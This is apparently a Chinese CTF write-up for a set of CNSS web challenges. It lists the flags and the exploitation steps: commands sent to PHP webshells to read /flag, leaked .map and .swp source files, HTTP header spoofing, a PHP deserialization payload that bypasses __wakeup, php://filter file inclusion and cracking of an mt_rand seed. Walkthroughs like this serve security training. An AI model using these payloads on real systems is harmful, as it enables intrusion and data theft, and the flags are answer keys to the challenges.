📝 [Baby] SignIn
打开链接, F12被禁了, 直接用Ctrl+Shift+I打开开发者工具, 去掉disabled, 点击Flag按钮即可
cnss{yOu_kNOw_h7ml_W3lL!}
🚪 [Baby] Backdoor
题目就是一个马, 题目提示用蚁剑. 这里我没用蚁剑, 直接Hackbar post命令上去
cnss=system("cat /flag");
cnss{Php_b@CkDO0R_ONe_1in3R}
📦 [Baby] Webpack
React的map可能会在前端泄露源码, 尝试在js文件后加.map后缀
即为: http://101.200.202.216:60218/static/js/main.c91fb7d1.js.map
就可以下载到.map文件, vscode打开, 搜索cnss字符串即可
cnss{No_W3BpAcK_m4p}
🗼 [Baby] 嗜血成魔
不知道是不是正解, 直接在js文件里搜索alert, 找到了一个base64的字符串, 解密即可
cnss{M4Yb3_yOu_KN0w_jS}
💧 [Easy] Leak
提示vim崩掉了, 尝试swp文件, 即http://101.200.202.216:17990/.index.php.swp
.
下载到swp文件, vim还原vim -r index.php
或直接vsc打开也能看到代码, 发现是个马
利用?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=system("ls /");
获取文件名为fl4444444g
, 再?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=system("cat /fl4444444g");
即可
cnss{ClE4n_VIm_sWapfILe_pLe4se}
🎯 [Easy] ezhttp
利用burp suite打开, 看到只接受CNSS请求
于是将请求改为CNSS, 发送后发现只能在安卓微信内置浏览器中请求
于是改User-Agent
为安卓微信内置浏览器的UA, 搜索一下可知是Mozilla/5.0 (Linux; Android 7.1.1; MI 6 Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043807 Mobile Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN
, 发送后发现只接受来自cnss.io的请求
于是改Referer
为cnss.io
, 发送后发现只接受来自本机的请求
于是改X-Forwarded-For
为127.0.0.1
, 发送后发现只接受uestc.edu.cn域名的请求
于是改Host
为uestc.edu.cn
, 发送后发现只接受内容类型为application/json的请求
于是改Content-Type
为application/json
, 发送后发现不接受内容长度为0的请求
随便发个json过去, 发现能告诉我你的名字(name)吗?
于是加name
字段, 发送后发现能告诉我你的密码(password)吗?
于是加password
字段, 发送后发现能在cookie中写入你的名字(name)吗?
于是加上Cookie, 发送后发现能在Cookie中写入你的密码(password)吗?
加上后发现BasicAuth验证失败
搜索后可知, BasicAuth只需写入Authorization: Basic ["username:password"字段的base64加密]
加密后得到VGltbHpoOlRpbWx6aA==
, 于是加上Authorization, 发送后即得到flag
cnss{c989245e3a04e1b5004b2dd40d7bfb7c}
🐘 [Easy] ezunserialize
打开后发现是一个简单的反序列化+绕过wakeup
利用这段php代码构造反序列化的文本
<?php
class CNSS
{
public $username = 'admin';
private $i_want2_say = 'i_like_web';
protected $password = 'ctf';
}
$a = new CNSS();
echo serialize($a);
?>
尝试后会发现并不对, 但是如果你直接复制网页上的代码, 会发现fssmsl
这个字段并不是注释的一部分, 而是通过某种特殊的空字符被扔到了后面, 实际上是i_want2_say的一部分, 如图:
所以用这个脚本构造:
<?php
class CNSS
{
public $username = 'admin';
private $i_want2_say = 'fssmsli_like_web';
protected $password = 'ctf';
}
$a = new CNSS();
echo serialize($a);
?>
构造出:
O:4:"CNSS":3:{s:8:"username";s:5:"admin";s:17:"%00CNSS%00i_want2_say";s:28:"fssmsli_like_web";s:11:"%00*%00password";s:3:"ctf";}
将3改为4, 绕过wakeup:
O:4:"CNSS":4:{s:8:"username";s:5:"admin";s:17:"%00CNSS%00i_want2_say";s:28:"fssmsli_like_web";s:11:"%00*%00password";s:3:"ctf";}
传上去即可
CNSS{un5Eria1i2E_I$_POweRFU1}
🎲 [Mid] Pesudo2
打开是一个文件包含, 使用php://filter/convert.base64-encode/resource=
用base64回显, 根据题目提示GET 「file」 to find the truth included in 「pseudo」
读取pseudo.php
http://43.143.99.15:60002/?file=php://filter/convert.base64-encode/resource=pseudo.php
base64解密后得到源码
<?php
//version php:7.2-apache
error_reporting(0);
$seed = getenv('srand');
$flag = getenv('flag');
mt_srand($seed);
$ans = mt_rand();
$begin = $_GET['begin'];
$guess = $_POST['guess'];
if ($begin === 'true' && is_numeric($guess)) {
echo $ans . "<br/>";
// for ($i = 0; $i <= 114514; $i++) {
// $ans += mt_rand();
// }
$ans = getenv('ans');
if ($guess === $ans) {
echo $flag;
} else {
echo "You are lost in the fog.";
}
}
这里可以找到一个伪随机的漏洞, 得到一个生成的随机数ans=87104899
之后, 可以利用脚本破解mt_srand的结果(可以自己写脚本, 但是没有那么快, 这里用了优化过的github脚本openwall/php_mt_seed), 结合php版本可以得到三个种子1137234869, 986753421, 2323915476
写脚本生成三种答案:
<?php
mt_srand(1137234869);
$ans = mt_rand();
for ($i = 0; $i <= 114514; $i++) {
$ans += mt_rand();
}
echo $ans.'</br>';
mt_srand(986753421);
$ans = mt_rand();
for ($i = 0; $i <= 114514; $i++) {
$ans += mt_rand();
}
echo $ans.'</br>';
mt_srand(2323915476);
$ans = mt_rand();
for ($i = 0; $i <= 114514; $i++) {
$ans += mt_rand();
}
echo $ans.'</br>';
注意需要使用7.1+版本的php运行, 否则随机结果不同
122853612520104, 122756472461839, 122757110307027
都尝试一遍, 可以知道是122756472461839
CNSS{P53uDO_0r_7Rue_1T'5_4_QueS7iON}